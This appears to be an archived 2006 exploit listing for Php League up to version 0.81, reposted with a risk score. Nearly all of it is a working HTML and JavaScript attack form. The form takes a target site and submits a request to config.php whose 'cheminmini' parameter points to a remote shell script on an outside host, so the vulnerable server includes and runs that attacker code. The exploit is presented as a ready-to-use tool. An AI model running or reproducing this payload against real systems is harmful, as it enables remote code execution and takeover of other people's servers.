Php League <= 0.81 (config.php) Remote File Include Exploit

🗓️ 25 Oct 2006 00:00:00Reported by RootType

Remote File Include Exploit in Php League <= 0.8


                                                &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1254&quot;&gt;
&lt;title&gt;PhpLeague 0.81 Remote File Include Exploit&lt;/title&gt;

&lt;script language=&quot;JavaScript&quot;&gt;

//'===============================================================================================
//'[Script Name: Php League &lt;= 0.81(cheminmini) Remote FILE Include Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================


     //Basic exploit,but any time : (
   var adres=&quot;/config.php?&quot; //FÝle name
   var acik =&quot;cheminmini=&quot; // Line 19
   var shell=&quot;http://hometown.aol.com/yarivgiladi/musa.php?&quot; // Shell Script

   function command(){
       if (document.rfi.target1.value==&quot;&quot;){
          alert(&quot;Failed..&quot;);
      return false;
    }



  rfi.action= document.rfi.target1.value+adres+acik+shell; // Ready Target : 
)
  rfi.submit(); // Form Submit
   }
&lt;/script&gt;


&lt;/head&gt;

&lt;body bgcolor=&quot;#000000&quot;&gt;
&lt;center&gt;

&lt;p&gt;&lt;b&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt;PhpLeague 0.81 Remote 
File
Include Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;form method=&quot;post&quot; target=&quot;getting&quot; name=&quot;rfi&quot; onSubmit=&quot;command();&quot;&gt;
    &lt;b&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#FF0000&quot;&gt;Target:&lt;/font&gt;&lt;font 
face=&quot;Arial&quot; size=&quot;1&quot; 
color=&quot;#808080&quot;&gt;[http://[target]/[scriptpath]&lt;/font&gt;&lt;font color=&quot;#00FF00&quot; 
size=&quot;2&quot; face=&quot;Arial&quot;&gt;
  &lt;/font&gt;&lt;font color=&quot;#FF0000&quot; size=&quot;2&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/b&gt;
  &lt;input type=&quot;text&quot; name=&quot;target1&quot; size=&quot;20&quot; style=&quot;background-color: 
#808000&quot; onmouseover=&quot;javascript:this.style.background='#808080';&quot; 
onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;Gönder&quot; name=&quot;B1&quot;&gt;&lt;input type=&quot;reset&quot; 
value=&quot;Sýfýrla&quot; name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;iframe name=&quot;getting&quot; height=&quot;337&quot; width=&quot;633&quot; scrolling=&quot;yes&quot; 
frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;/p&gt;
&lt;b&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt;ajann&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;

# milw0rm.com [2006-10-25]

25 Oct 2006 00:00Current

7.1High risk

Vulners AI Score7.1

Php League &lt;= 0.81 (config.php) Remote File Include Exploit

Php League <= 0.81 (config.php) Remote File Include Exploit